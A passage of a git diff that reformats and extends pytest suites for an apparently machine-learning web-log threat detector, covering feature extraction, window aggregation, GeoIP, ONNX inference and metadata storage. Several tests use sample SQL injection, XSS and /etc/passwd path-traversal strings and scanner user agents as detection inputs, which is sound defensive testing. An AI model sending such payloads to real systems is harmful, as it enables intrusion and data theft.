sk_decision = iso.decision_function(x_test)
|
||||||
|
ort_scores = session.run(None, {"features": x_test})[1].flatten()
|
||||||
|
|
||||||
|
np.testing.assert_allclose(sk_decision, ort_scores, atol=1e-4)
|
||||||
|
|
@ -1,11 +1,20 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_features.py
|
test_features.py
|
||||||
|
|
||||||
|
Tests per-request feature extraction, Redis sliding-window aggregation, and feature encoding.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import time
|
||||||
from datetime import datetime, UTC
|
from datetime import datetime, UTC
|
||||||
|
|
||||||
|
import fakeredis.aioredis
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from app.core.features.aggregator import WindowAggregator
|
||||||
|
from app.core.features.encoder import encode_for_inference
|
||||||
from app.core.features.extractor import extract_request_features
|
from app.core.features.extractor import extract_request_features
|
||||||
|
from app.core.features.mappings import FEATURE_ORDER, METHOD_MAP, STATUS_CLASS_MAP
|
||||||
from app.core.ingestion.parsers import ParsedLogEntry
|
from app.core.ingestion.parsers import ParsedLogEntry
|
||||||
|
|
||||||
FEATURE_KEYS = {
|
FEATURE_KEYS = {
|
||||||
|
|
@ -79,16 +88,20 @@ def test_path_depth() -> None:
|
||||||
Path depth counts non-empty segments between slashes.
|
Path depth counts non-empty segments between slashes.
|
||||||
"""
|
"""
|
||||||
assert extract_request_features(_make_entry(path="/"))["path_depth"] == 0
|
assert extract_request_features(_make_entry(path="/"))["path_depth"] == 0
|
||||||
assert extract_request_features(_make_entry(path="/api"))["path_depth"] == 1
|
assert extract_request_features(
|
||||||
assert extract_request_features(_make_entry(path="/api/v1/users"))["path_depth"] == 3
|
_make_entry(path="/api"))["path_depth"] == 1
|
||||||
|
assert extract_request_features(
|
||||||
|
_make_entry(path="/api/v1/users"))["path_depth"] == 3
|
||||||
|
|
||||||
|
|
||||||
def test_path_entropy_high_vs_low() -> None:
|
def test_path_entropy_high_vs_low() -> None:
|
||||||
"""
|
"""
|
||||||
Random-character paths have higher entropy than simple paths.
|
Random-character paths have higher entropy than simple paths.
|
||||||
"""
|
"""
|
||||||
low = extract_request_features(_make_entry(path="/index.html"))["path_entropy"]
|
low = extract_request_features(
|
||||||
high = extract_request_features(_make_entry(path="/x8Kp2mQz7wR4vL1n"))["path_entropy"]
|
_make_entry(path="/index.html"))["path_entropy"]
|
||||||
|
high = extract_request_features(
|
||||||
|
_make_entry(path="/x8Kp2mQz7wR4vL1n"))["path_entropy"]
|
||||||
assert high > low
|
assert high > low
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -96,7 +109,8 @@ def test_query_string_features() -> None:
|
||||||
"""
|
"""
|
||||||
Query param count and length are extracted correctly.
|
Query param count and length are extracted correctly.
|
||||||
"""
|
"""
|
||||||
features = extract_request_features(_make_entry(query_string="page=1&sort=name&limit=50"))
|
features = extract_request_features(
|
||||||
|
_make_entry(query_string="page=1&sort=name&limit=50"))
|
||||||
assert features["query_param_count"] == 3
|
assert features["query_param_count"] == 3
|
||||||
assert features["query_string_length"] == len("page=1&sort=name&limit=50")
|
assert features["query_string_length"] == len("page=1&sort=name&limit=50")
|
||||||
|
|
||||||
|
|
@ -110,11 +124,11 @@ def test_url_encoding_detection() -> None:
|
||||||
Percent-encoded sequences are detected in path and query.
|
Percent-encoded sequences are detected in path and query.
|
||||||
"""
|
"""
|
||||||
encoded = extract_request_features(
|
encoded = extract_request_features(
|
||||||
_make_entry(path="/search", query_string="q=%27OR+1%3D1")
|
_make_entry(path="/search", query_string="q=%27OR+1%3D1"))
|
||||||
)
|
|
||||||
assert encoded["has_encoded_chars"] is True
|
assert encoded["has_encoded_chars"] is True
|
||||||
|
|
||||||
clean = extract_request_features(_make_entry(path="/index.html", query_string=""))
|
clean = extract_request_features(
|
||||||
|
_make_entry(path="/index.html", query_string=""))
|
||||||
assert clean["has_encoded_chars"] is False
|
assert clean["has_encoded_chars"] is False
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -133,9 +147,12 @@ def test_status_class() -> None:
|
||||||
"""
|
"""
|
||||||
Status class groups status codes into Nxx buckets.
|
Status class groups status codes into Nxx buckets.
|
||||||
"""
|
"""
|
||||||
assert extract_request_features(_make_entry(status_code=200))["status_class"] == "2xx"
|
assert extract_request_features(
|
||||||
assert extract_request_features(_make_entry(status_code=404))["status_class"] == "4xx"
|
_make_entry(status_code=200))["status_class"] == "2xx"
|
||||||
assert extract_request_features(_make_entry(status_code=503))["status_class"] == "5xx"
|
assert extract_request_features(
|
||||||
|
_make_entry(status_code=404))["status_class"] == "4xx"
|
||||||
|
assert extract_request_features(
|
||||||
|
_make_entry(status_code=503))["status_class"] == "5xx"
|
||||||
|
|
||||||
|
|
||||||
def test_temporal_features() -> None:
|
def test_temporal_features() -> None:
|
||||||
|
|
@ -161,14 +178,13 @@ def test_ua_bot_detection() -> None:
|
||||||
"""
|
"""
|
||||||
bot = extract_request_features(
|
bot = extract_request_features(
|
||||||
_make_entry(
|
_make_entry(
|
||||||
user_agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
user_agent=
|
||||||
)
|
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
||||||
)
|
))
|
||||||
assert bot["is_known_bot"] is True
|
assert bot["is_known_bot"] is True
|
||||||
|
|
||||||
normal = extract_request_features(
|
normal = extract_request_features(
|
||||||
_make_entry(user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
|
_make_entry(user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"))
|
||||||
)
|
|
||||||
assert normal["is_known_bot"] is False
|
assert normal["is_known_bot"] is False
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -176,7 +192,8 @@ def test_ua_scanner_detection() -> None:
|
||||||
"""
|
"""
|
||||||
Known vulnerability scanner user agents are flagged.
|
Known vulnerability scanner user agents are flagged.
|
||||||
"""
|
"""
|
||||||
nikto = extract_request_features(_make_entry(user_agent="Mozilla/5.00 (Nikto/2.1.6)"))
|
nikto = extract_request_features(
|
||||||
|
_make_entry(user_agent="Mozilla/5.00 (Nikto/2.1.6)"))
|
||||||
assert nikto["is_known_scanner"] is True
|
assert nikto["is_known_scanner"] is True
|
||||||
|
|
||||||
sqlmap = extract_request_features(_make_entry(user_agent="sqlmap/1.8"))
|
sqlmap = extract_request_features(_make_entry(user_agent="sqlmap/1.8"))
|
||||||
|
|
@ -187,15 +204,17 @@ def test_attack_pattern_detection() -> None:
|
||||||
"""
|
"""
|
||||||
SQLi, XSS, and path traversal patterns in paths are detected.
|
SQLi, XSS, and path traversal patterns in paths are detected.
|
||||||
"""
|
"""
|
||||||
sqli = extract_request_features(_make_entry(path="/users", query_string="id=1' OR 1=1--"))
|
sqli = extract_request_features(
|
||||||
|
_make_entry(path="/users", query_string="id=1' OR 1=1--"))
|
||||||
assert sqli["has_attack_pattern"] is True
|
assert sqli["has_attack_pattern"] is True
|
||||||
|
|
||||||
xss = extract_request_features(
|
xss = extract_request_features(
|
||||||
_make_entry(path="/comment", query_string="body=<script>alert(1)</script>")
|
_make_entry(path="/comment",
|
||||||
)
|
query_string="body=<script>alert(1)</script>"))
|
||||||
assert xss["has_attack_pattern"] is True
|
assert xss["has_attack_pattern"] is True
|
||||||
|
|
||||||
traversal = extract_request_features(_make_entry(path="/static/../../etc/passwd"))
|
traversal = extract_request_features(
|
||||||
|
_make_entry(path="/static/../../etc/passwd"))
|
||||||
assert traversal["has_attack_pattern"] is True
|
assert traversal["has_attack_pattern"] is True
|
||||||
|
|
||||||
clean = extract_request_features(_make_entry(path="/api/v1/health"))
|
clean = extract_request_features(_make_entry(path="/api/v1/health"))
|
||||||
|
|
@ -206,11 +225,12 @@ def test_special_char_ratio() -> None:
|
||||||
"""
|
"""
|
||||||
Paths with many non-alphanumeric characters have higher ratios.
|
Paths with many non-alphanumeric characters have higher ratios.
|
||||||
"""
|
"""
|
||||||
clean = extract_request_features(_make_entry(path="/api/users"))["special_char_ratio"]
|
clean = extract_request_features(
|
||||||
|
_make_entry(path="/api/users"))["special_char_ratio"]
|
||||||
|
|
||||||
noisy = extract_request_features(_make_entry(path="/<script>alert('xss')</script>"))[
|
noisy = extract_request_features(
|
||||||
"special_char_ratio"
|
_make_entry(
|
||||||
]
|
path="/<script>alert('xss')</script>"))["special_char_ratio"]
|
||||||
|
|
||||||
assert noisy > clean
|
assert noisy > clean
|
||||||
|
|
||||||
|
|
@ -219,20 +239,25 @@ def test_private_ip_detection() -> None:
|
||||||
"""
|
"""
|
||||||
RFC 1918 and loopback addresses are classified as private.
|
RFC 1918 and loopback addresses are classified as private.
|
||||||
"""
|
"""
|
||||||
assert extract_request_features(_make_entry(ip="192.168.1.1"))["is_private_ip"] is True
|
assert extract_request_features(
|
||||||
|
_make_entry(ip="192.168.1.1"))["is_private_ip"] is True
|
||||||
|
|
||||||
assert extract_request_features(_make_entry(ip="127.0.0.1"))["is_private_ip"] is True
|
assert extract_request_features(
|
||||||
|
_make_entry(ip="127.0.0.1"))["is_private_ip"] is True
|
||||||
|
|
||||||
assert extract_request_features(_make_entry(ip="8.8.8.8"))["is_private_ip"] is False
|
assert extract_request_features(
|
||||||
|
_make_entry(ip="8.8.8.8"))["is_private_ip"] is False
|
||||||
|
|
||||||
|
|
||||||
def test_file_extension() -> None:
|
def test_file_extension() -> None:
|
||||||
"""
|
"""
|
||||||
File extension is extracted from the path.
|
File extension is extracted from the path.
|
||||||
"""
|
"""
|
||||||
assert extract_request_features(_make_entry(path="/style.css"))["file_extension"] == ".css"
|
assert extract_request_features(
|
||||||
|
_make_entry(path="/style.css"))["file_extension"] == ".css"
|
||||||
|
|
||||||
assert extract_request_features(_make_entry(path="/api/users"))["file_extension"] == ""
|
assert extract_request_features(
|
||||||
|
_make_entry(path="/api/users"))["file_extension"] == ""
|
||||||
|
|
||||||
|
|
||||||
def test_country_code_passthrough() -> None:
|
def test_country_code_passthrough() -> None:
|
||||||
|
|
@ -246,13 +271,6 @@ def test_country_code_passthrough() -> None:
|
||||||
assert features_empty["country_code"] == ""
|
assert features_empty["country_code"] == ""
|
||||||
|
|
||||||
|
|
||||||
import time # noqa: E402
|
|
||||||
|
|
||||||
import fakeredis.aioredis # noqa: E402
|
|
||||||
import pytest # noqa: E402
|
|
||||||
|
|
||||||
from app.core.features.aggregator import WindowAggregator # noqa: E402
|
|
||||||
|
|
||||||
AGGREGATOR_KEYS = {
|
AGGREGATOR_KEYS = {
|
||||||
"req_count_1m",
|
"req_count_1m",
|
||||||
"req_count_5m",
|
"req_count_5m",
|
||||||
|
|
@ -428,10 +446,6 @@ async def test_aggregator_window_boundary(aggregator) -> None:
|
||||||
assert result["req_count_5m"] == 2
|
assert result["req_count_5m"] == 2
|
||||||
|
|
||||||
|
|
||||||
from app.core.features.encoder import encode_for_inference # noqa: E402
|
|
||||||
from app.core.features.mappings import FEATURE_ORDER, METHOD_MAP, STATUS_CLASS_MAP # noqa: E402
|
|
||||||
|
|
||||||
|
|
||||||
def _full_features() -> dict[str, int | float | bool | str]:
|
def _full_features() -> dict[str, int | float | bool | str]:
|
||||||
"""
|
"""
|
||||||
Build a complete 35-key feature dict with realistic values.
|
Build a complete 35-key feature dict with realistic values.
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_geoip.py
|
test_geoip.py
|
||||||
|
|
||||||
|
Tests the GeoIP lookup service including private IP handling and missing database fallback.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from unittest.mock import MagicMock, patch
|
from unittest.mock import MagicMock, patch
|
||||||
|
|
@ -108,7 +110,9 @@ async def test_lookup_missing_city_name(mock_reader) -> None:
|
||||||
"""
|
"""
|
||||||
Responses with None city name are handled gracefully.
|
Responses with None city name are handled gracefully.
|
||||||
"""
|
"""
|
||||||
mock_reader.city.return_value = _mock_city_response(city_name=None, lat=0.0, lon=0.0)
|
mock_reader.city.return_value = _mock_city_response(city_name=None,
|
||||||
|
lat=0.0,
|
||||||
|
lon=0.0)
|
||||||
service = GeoIPService.__new__(GeoIPService)
|
service = GeoIPService.__new__(GeoIPService)
|
||||||
service._reader = mock_reader
|
service._reader = mock_reader
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,142 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_inference.py
|
||||||
|
|
||||||
|
Tests the InferenceEngine: model loading, predict output shapes, score ranges, and missing-model handling.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from ml.autoencoder import ThreatAutoencoder
|
||||||
|
from ml.export_onnx import (
|
||||||
|
export_autoencoder,
|
||||||
|
export_isolation_forest,
|
||||||
|
export_random_forest,
|
||||||
|
)
|
||||||
|
from ml.scaler import FeatureScaler
|
||||||
|
from sklearn.ensemble import IsolationForest, RandomForestClassifier
|
||||||
|
|
||||||
|
from app.core.detection.inference import InferenceEngine
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def model_dir(tmp_path: Path) -> Path:
|
||||||
|
"""
|
||||||
|
Create a temp directory with all 3 ONNX models + scaler + threshold
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
X = rng.standard_normal((200, 35)).astype(np.float32)
|
||||||
|
y = np.concatenate([np.zeros(140, dtype=int), np.ones(60, dtype=int)])
|
||||||
|
|
||||||
|
ae = ThreatAutoencoder(input_dim=35)
|
||||||
|
export_autoencoder(ae, tmp_path / "ae.onnx")
|
||||||
|
|
||||||
|
rf = RandomForestClassifier(n_estimators=10, random_state=42)
|
||||||
|
rf.fit(X, y)
|
||||||
|
export_random_forest(rf, 35, tmp_path / "rf.onnx")
|
||||||
|
|
||||||
|
iso = IsolationForest(n_estimators=10, random_state=42)
|
||||||
|
iso.fit(X[:140])
|
||||||
|
export_isolation_forest(iso, 35, tmp_path / "if.onnx")
|
||||||
|
|
||||||
|
scaler = FeatureScaler()
|
||||||
|
scaler.fit(X[:140])
|
||||||
|
scaler.save_json(tmp_path / "scaler.json")
|
||||||
|
|
||||||
|
threshold_data = {"threshold": 0.05}
|
||||||
|
(tmp_path / "threshold.json").write_text(json.dumps(threshold_data))
|
||||||
|
|
||||||
|
return tmp_path
|
||||||
|
|
||||||
|
|
||||||
|
class TestInferenceEngine:
|
||||||
|
|
||||||
|
def test_loads_all_models(self, model_dir: Path) -> None:
|
||||||
|
"""
|
||||||
|
Engine reports is_loaded=True when all three ONNX models are present.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
assert engine.is_loaded
|
||||||
|
|
||||||
|
def test_returns_none_when_no_models(self) -> None:
|
||||||
|
"""
|
||||||
|
Engine reports is_loaded=False when the model directory does not exist.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir="/nonexistent/path")
|
||||||
|
assert not engine.is_loaded
|
||||||
|
|
||||||
|
def test_predict_returns_none_when_not_loaded(self) -> None:
|
||||||
|
"""
|
||||||
|
predict returns None when the engine has no models loaded.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir="/nonexistent/path")
|
||||||
|
result = engine.predict(np.zeros((1, 35), dtype=np.float32))
|
||||||
|
assert result is None
|
||||||
|
|
||||||
|
def test_predict_returns_scores(self, model_dir: Path) -> None:
|
||||||
|
"""
|
||||||
|
predict returns a dict with ae, rf, and if score arrays.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
rng = np.random.default_rng(99)
|
||||||
|
x = rng.standard_normal((4, 35)).astype(np.float32)
|
||||||
|
result = engine.predict(x)
|
||||||
|
assert result is not None
|
||||||
|
assert "ae" in result
|
||||||
|
assert "rf" in result
|
||||||
|
assert "if" in result
|
||||||
|
|
||||||
|
def test_predict_ae_scores_are_positive(self, model_dir: Path) -> None:
|
||||||
|
"""
|
||||||
|
AE reconstruction error scores are non-negative for all samples.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
rng = np.random.default_rng(99)
|
||||||
|
x = rng.standard_normal((4, 35)).astype(np.float32)
|
||||||
|
result = engine.predict(x)
|
||||||
|
assert result is not None
|
||||||
|
assert all(s >= 0.0 for s in result["ae"])
|
||||||
|
|
||||||
|
def test_predict_rf_probabilities_in_range(self, model_dir: Path) -> None:
|
||||||
|
"""
|
||||||
|
RF malicious-class probabilities are within [0, 1].
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
rng = np.random.default_rng(99)
|
||||||
|
x = rng.standard_normal((4, 35)).astype(np.float32)
|
||||||
|
result = engine.predict(x)
|
||||||
|
assert result is not None
|
||||||
|
assert all(0.0 <= p <= 1.0 for p in result["rf"])
|
||||||
|
|
||||||
|
def test_predict_single_sample(self, model_dir: Path) -> None:
|
||||||
|
"""
|
||||||
|
predict works on a single sample and returns one score per model.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
rng = np.random.default_rng(99)
|
||||||
|
x = rng.standard_normal((1, 35)).astype(np.float32)
|
||||||
|
result = engine.predict(x)
|
||||||
|
assert result is not None
|
||||||
|
assert len(result["ae"]) == 1
|
||||||
|
assert len(result["rf"]) == 1
|
||||||
|
assert len(result["if"]) == 1
|
||||||
|
|
||||||
|
def test_threshold_loaded(self, model_dir: Path) -> None:
|
||||||
|
"""
|
||||||
|
Autoencoder threshold is read from threshold.json on initialization.
|
||||||
|
"""
|
||||||
|
engine = InferenceEngine(model_dir=str(model_dir))
|
||||||
|
assert engine.threshold == 0.05
|
||||||
|
|
||||||
|
def test_partial_models_not_loaded(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Engine with only the AE model present reports is_loaded=False.
|
||||||
|
"""
|
||||||
|
ae = ThreatAutoencoder(input_dim=35)
|
||||||
|
export_autoencoder(ae, tmp_path / "ae.onnx")
|
||||||
|
engine = InferenceEngine(model_dir=str(tmp_path))
|
||||||
|
assert not engine.is_loaded
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_integration.py
|
test_integration.py
|
||||||
|
|
||||||
|
End-to-end tests covering the full path from log file write through tailer, pipeline, and database storage.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|
@ -22,29 +24,22 @@ from app.core.ingestion.pipeline import Pipeline
|
||||||
from app.core.ingestion.tailer import LogTailer
|
from app.core.ingestion.tailer import LogTailer
|
||||||
from app.models.threat_event import ThreatEvent
|
from app.models.threat_event import ThreatEvent
|
||||||
|
|
||||||
NORMAL_LINE = (
|
NORMAL_LINE = ("192.168.1.100 - - [11/Feb/2026:10:00:00 +0000] "
|
||||||
"192.168.1.100 - - [11/Feb/2026:10:00:00 +0000] "
|
'"GET /index.html HTTP/1.1" 200 4523 "-" '
|
||||||
'"GET /index.html HTTP/1.1" 200 4523 "-" '
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
|
||||||
)
|
|
||||||
|
|
||||||
SQLI_LINE = (
|
SQLI_LINE = ("198.51.100.10 - - [11/Feb/2026:10:00:01 +0000] "
|
||||||
"198.51.100.10 - - [11/Feb/2026:10:00:01 +0000] "
|
'"GET /search?q=1%27+OR+1=1-- HTTP/1.1" 200 5678 "-" '
|
||||||
'"GET /search?q=1%27+OR+1=1-- HTTP/1.1" 200 5678 "-" '
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
|
||||||
)
|
|
||||||
|
|
||||||
XSS_LINE = (
|
XSS_LINE = (
|
||||||
"198.51.100.11 - - [11/Feb/2026:10:00:02 +0000] "
|
"198.51.100.11 - - [11/Feb/2026:10:00:02 +0000] "
|
||||||
'"GET /comment?text=<script>alert(1)</script> HTTP/1.1" 200 3210 "-" '
|
'"GET /comment?text=<script>alert(1)</script> HTTP/1.1" 200 3210 "-" '
|
||||||
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
)
|
|
||||||
|
|
||||||
PATH_TRAVERSAL_LINE = (
|
PATH_TRAVERSAL_LINE = ("198.51.100.12 - - [11/Feb/2026:10:00:03 +0000] "
|
||||||
"198.51.100.12 - - [11/Feb/2026:10:00:03 +0000] "
|
'"GET /../../etc/passwd HTTP/1.1" 400 230 "-" '
|
||||||
'"GET /../../etc/passwd HTTP/1.1" 400 230 "-" '
|
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
|
||||||
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def _write_lines(log_path: str, *lines: str) -> None:
|
def _write_lines(log_path: str, *lines: str) -> None:
|
||||||
|
|
@ -127,7 +122,8 @@ async def _poll_threat_count(
|
||||||
for _ in range(int(timeout / 0.1)):
|
for _ in range(int(timeout / 0.1)):
|
||||||
await asyncio.sleep(0.1)
|
await asyncio.sleep(0.1)
|
||||||
async with session_factory() as session:
|
async with session_factory() as session:
|
||||||
result = await session.execute(select(func.count()).select_from(ThreatEvent))
|
result = await session.execute(
|
||||||
|
select(func.count()).select_from(ThreatEvent))
|
||||||
count = result.scalar_one()
|
count = result.scalar_one()
|
||||||
if count >= expected:
|
if count >= expected:
|
||||||
return count
|
return count
|
||||||
|
|
@ -163,15 +159,15 @@ async def test_only_medium_plus_stored(integration_env) -> None:
|
||||||
lines = [
|
lines = [
|
||||||
f"192.168.1.{i + 1} - - [11/Feb/2026:10:00:0{i} +0000] "
|
f"192.168.1.{i + 1} - - [11/Feb/2026:10:00:0{i} +0000] "
|
||||||
f'"GET /page/{i} HTTP/1.1" 200 1234 "-" '
|
f'"GET /page/{i} HTTP/1.1" 200 1234 "-" '
|
||||||
f'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
|
f'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"' for i in range(5)
|
||||||
for i in range(5)
|
|
||||||
]
|
]
|
||||||
_write_lines(env["log_path"], *lines)
|
_write_lines(env["log_path"], *lines)
|
||||||
|
|
||||||
await asyncio.sleep(2.0)
|
await asyncio.sleep(2.0)
|
||||||
|
|
||||||
async with env["session_factory"]() as session:
|
async with env["session_factory"]() as session:
|
||||||
result = await session.execute(select(func.count()).select_from(ThreatEvent))
|
result = await session.execute(
|
||||||
|
select(func.count()).select_from(ThreatEvent))
|
||||||
count = result.scalar_one()
|
count = result.scalar_one()
|
||||||
|
|
||||||
assert count == 0
|
assert count == 0
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,226 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_metadata.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
from sqlalchemy.ext.asyncio import (
|
||||||
|
AsyncSession,
|
||||||
|
async_sessionmaker,
|
||||||
|
create_async_engine,
|
||||||
|
)
|
||||||
|
from sqlalchemy.pool import StaticPool
|
||||||
|
from sqlalchemy import select
|
||||||
|
from sqlmodel import SQLModel
|
||||||
|
|
||||||
|
from app.models.model_metadata import ModelMetadata
|
||||||
|
from ml.metadata import compute_model_version, save_model_metadata
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
async def db_session(tmp_path: Path):
|
||||||
|
"""
|
||||||
|
In-memory SQLite session for metadata tests
|
||||||
|
"""
|
||||||
|
from app.models import model_metadata as _reg # noqa: F401
|
||||||
|
|
||||||
|
engine = create_async_engine(
|
||||||
|
"sqlite+aiosqlite://",
|
||||||
|
connect_args={"check_same_thread": False},
|
||||||
|
poolclass=StaticPool,
|
||||||
|
)
|
||||||
|
async with engine.begin() as conn:
|
||||||
|
await conn.run_sync(SQLModel.metadata.create_all)
|
||||||
|
|
||||||
|
factory = async_sessionmaker(engine,
|
||||||
|
class_=AsyncSession,
|
||||||
|
expire_on_commit=False)
|
||||||
|
async with factory() as session:
|
||||||
|
yield session
|
||||||
|
|
||||||
|
await engine.dispose()
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def model_artifacts(tmp_path: Path) -> Path:
|
||||||
|
"""
|
||||||
|
Create fake ONNX model files for version hashing
|
||||||
|
"""
|
||||||
|
(tmp_path / "ae.onnx").write_bytes(b"ae-model-data-123")
|
||||||
|
(tmp_path / "rf.onnx").write_bytes(b"rf-model-data-456")
|
||||||
|
(tmp_path / "if.onnx").write_bytes(b"if-model-data-789")
|
||||||
|
(tmp_path / "scaler.json").write_text(
|
||||||
|
json.dumps({
|
||||||
|
"center": [0.0],
|
||||||
|
"scale": [1.0]
|
||||||
|
}))
|
||||||
|
(tmp_path / "threshold.json").write_text(json.dumps({"threshold": 0.05}))
|
||||||
|
return tmp_path
|
||||||
|
|
||||||
|
|
||||||
|
class TestComputeModelVersion:
|
||||||
|
"""
|
||||||
|
Test SHA-256 based model version hashing
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_returns_12_char_hex(self, model_artifacts: Path) -> None:
|
||||||
|
"""
|
||||||
|
Version string is a 12-character hex digest
|
||||||
|
"""
|
||||||
|
version = compute_model_version(model_artifacts / "ae.onnx")
|
||||||
|
|
||||||
|
assert len(version) == 12
|
||||||
|
assert all(c in "0123456789abcdef" for c in version)
|
||||||
|
|
||||||
|
def test_same_file_same_version(self, model_artifacts: Path) -> None:
|
||||||
|
"""
|
||||||
|
Same file produces the same version string
|
||||||
|
"""
|
||||||
|
v1 = compute_model_version(model_artifacts / "ae.onnx")
|
||||||
|
v2 = compute_model_version(model_artifacts / "ae.onnx")
|
||||||
|
|
||||||
|
assert v1 == v2
|
||||||
|
|
||||||
|
def test_different_files_different_versions(self,
|
||||||
|
model_artifacts: Path) -> None:
|
||||||
|
"""
|
||||||
|
Different files produce different version strings
|
||||||
|
"""
|
||||||
|
v_ae = compute_model_version(model_artifacts / "ae.onnx")
|
||||||
|
v_rf = compute_model_version(model_artifacts / "rf.onnx")
|
||||||
|
|
||||||
|
assert v_ae != v_rf
|
||||||
|
|
||||||
|
|
||||||
|
class TestSaveModelMetadata:
|
||||||
|
"""
|
||||||
|
Test model metadata persistence to database
|
||||||
|
"""
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_creates_three_rows(
|
||||||
|
self,
|
||||||
|
db_session: AsyncSession,
|
||||||
|
model_artifacts: Path,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
save_model_metadata creates one row per model type
|
||||||
|
"""
|
||||||
|
rows = await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=500,
|
||||||
|
metrics={
|
||||||
|
"f1": 0.9,
|
||||||
|
"pr_auc": 0.88
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
assert len(rows) == 3
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_all_rows_active(
|
||||||
|
self,
|
||||||
|
db_session: AsyncSession,
|
||||||
|
model_artifacts: Path,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
All newly saved models are marked as active
|
||||||
|
"""
|
||||||
|
rows = await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=500,
|
||||||
|
metrics={"f1": 0.9},
|
||||||
|
)
|
||||||
|
|
||||||
|
assert all(r.is_active for r in rows)
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_model_types_correct(
|
||||||
|
self,
|
||||||
|
db_session: AsyncSession,
|
||||||
|
model_artifacts: Path,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Row model types are autoencoder, random_forest, isolation_forest
|
||||||
|
"""
|
||||||
|
rows = await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=500,
|
||||||
|
metrics={},
|
||||||
|
)
|
||||||
|
types = {r.model_type for r in rows}
|
||||||
|
|
||||||
|
assert types == {
|
||||||
|
"autoencoder",
|
||||||
|
"random_forest",
|
||||||
|
"isolation_forest",
|
||||||
|
}
|
||||||
|
|
||||||
|
@pytest.mark.asyncio
|
||||||
|
async def test_previous_active_replaced(
|
||||||
|
self,
|
||||||
|
db_session: AsyncSession,
|
||||||
|
model_artifacts: Path,
|
||||||
|
) -> None:
|
||||||
|
"""
|
||||||
|
Saving new metadata replaces previous active models
|
||||||
|
"""
|
||||||
|
await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=500,
|
||||||
|
metrics={"f1": 0.9},
|
||||||
|
)
|
||||||
|
|
||||||
|
(model_artifacts / "ae.onnx").write_bytes(b"new-ae-data")
|
||||||
|
await save_model_metadata(
|
||||||
|
db_session,
|
||||||
|
model_dir=model_artifacts,
|
||||||
|
training_samples=600,
|
||||||
|
metrics={"f1": 0.95},
|
||||||
|
)
|
||||||
|
|
||||||
|
result = await db_session.execute(select(ModelMetadata))
|
||||||
|
all_rows = result.scalars().all()
|
||||||
|
